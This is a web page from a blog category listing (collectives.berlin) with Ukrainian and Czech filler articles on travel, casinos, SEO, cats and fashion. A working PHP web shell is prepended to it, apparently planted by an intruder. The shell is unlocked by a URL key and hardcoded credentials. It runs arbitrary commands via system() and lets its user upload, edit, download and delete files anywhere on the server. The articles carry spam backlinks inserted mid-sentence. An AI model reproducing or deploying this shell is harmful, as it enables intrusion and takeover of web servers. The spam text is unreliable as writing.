if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 13 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Як зекономити на проживанні під час подорожей без шкоди комфорту

    Визначтеся з часом поїздки. Уникайте популярних святкових днів та шкільних канікул, poehali.com.ua коли ціни на готелі злітають до небес. Вибираючи менш завантажені періоди, ви можете знайти значно привабливіші пропозиції. Розгляньте альтернативи готелям. Будинки для відпочинку, хостели та платформи для обміну житлом часто пропонують більш вигідні умови. Крім того, ви можете скористатися можливостями зайняти кімнату у…

    Click or not…

  • Kasino hry s nejnižší výhodou kasina

    Kasino hry jsou oblíbenou formou zábavy, která přitahuje miliony hráčů po celém světě. Mezi těmito hrami existují určité varianty, zahraničí casino které nabízejí hráčům lepší šance na výhru, díky nižší výhodě kasina. V tomto studijním reportu se zaměříme na některé z těchto her a vysvětlíme, proč jsou pro hráče výhodné. Jednou z nejpopulárnějších her s…

    Click or not…

  • Nejlepší stránky pro živou ruletu s více kamerovými úhly

    Živá ruleta se stává stále populárnější mezi online hráči, kteří hledají autentický herní zážitek. S rozvojem technologií se objevily nové možnosti, zahraničí casino jak zlepšit interakci s hrou, a jednou z těchto inovací jsou více kamerové úhly, které nabízejí hráčům lepší perspektivu a zážitek. Tento report se zaměřuje na nejlepší stránky, které tuto funkci nabízejí…

    Click or not…

  • Вплив соціальних мереж на SEO та ранжування веб-сайтів

    Щоб покращити позиції вашого ресурсу в пошукових системах, активна присутність у соціальних платформах стане важливим кроком. Регулярний контент, https://techhubs.com.ua/ що викликає обговорення, може привести до збільшення трафіку, що, своєю чергою, позитивно вплине на авторитет вашого проекту в очах алгоритмів пошуковиків. Не забувайте про важливість зворотних посилань, які можуть бути отримані через розповсюдження матеріалів у мережі.…

    Click or not…

  • Як правильно підібрати одяг для вигідного підкреслення фігури

    Визначте свій тип статури – перший крок до вибору вдалого ансамблю. Від стрункої і спортивної до округлої та жіночної – розуміння своїх особливостей допоможе зробити правильний вибір. Для «грушоподібної» статури варто обирати вирізи та фути з об’ємними елементами на верхній частині, https://lidiastyle.com.ua/ щоб зрівноважити пропорції. Вибір кольорів також грає важливу роль. Темні відтінки здатні візуально…

    Click or not…

  • Даяна Ястремська стала переможницею турніру Великого шолома

    Важливо підкреслити значення цієї перемоги в кар’єрі спортсменки. Вона продемонструвала виняткову техніку та стратегію, що дозволило їй зайняти перше місце у складній боротьбі. Концентрація на деталях гри, ua-sport.com таких як точність подач та зосередженість на кожному розіграші, стали визначальними факторами в її успіху. Оцінюючи підготовку до змагання, важливо зазначити, що тренувальний процес гравця включав інтенсивні…

    Click or not…

  • Чому кіт ховається і що його поведінка означає для вас

    Тварина, що шукає укриття, https://kotok.com.ua/ може свідчити про стрес або занепокоєння. Якщо ваш домашній улюбленець регулярно забирається в затишні куточки, не ігноруйте це. Створення спокійної атмосфери та забезпечення достатньої кількості безпечних зон можуть значно покращити його самопочуття. Ризик того, що ваш пухнастик ховається через дискомфорт, не варто знижувати. Консультація з ветеринаром допоможе виключити медичні проблеми,…

    Click or not…

  • Цікаві ігри та розважальні активності для дітей вдома

    Спробуйте організувати у себе вдома справжнісінький квест. Розробіть маршрут з завданнями, які діти повинні виконати. Включіть елементи логіки, https://labirint-kids.com.ua/ розгадки загадок, а також фізичні випробування. Це не тільки дозволить провести час в азартній атмосфері, але й розвине креативність та критичне мислення. Запропонуйте учасникам побудувати укриття з подушок та покривал. Визначте тему для їхнього затишного простору:…

    Click or not…

  • Кончіта Вурст і Томас Нойвірт їхнє життя та кар’єра разом

    Рекомендується дослідити творчий шлях однієї з найяскравіших фігур сучасної музики, in.ua чий стиль і оригінальність стали новим напрямком у поп-культурі. Цей виконавець привернув увагу не лише завдяки своєму вокалу, а й завдяки незвичайному сценічному образу. Ранні роки Специфічний артист народився в Австрії, де з юнацького віку проявляв інтерес до музики і сценічного мистецтва. Учасник кількох…

    Click or not…

  • Вбрання для гостей на весіллі що підходить і виглядає стильно

    Зосередьтеся на кольоровій палітрі заходу. Досліджуйте запрошення або інші матеріали, щоб виявити основні відтінки. Виберіть наряд, що підкреслює ці кольори, забезпечуючи гармонійну композицію. Наприклад, якщо в тематиці присутні пастельні відтінки, віддайте перевагу легким тканинам, https://karolinka.com.ua/ які не виглядатимуть надто важкими. Тканина також відіграє величезну роль у правильному підборі. Легкі матеріали, такі як шифон або шовк,…

    Click or not…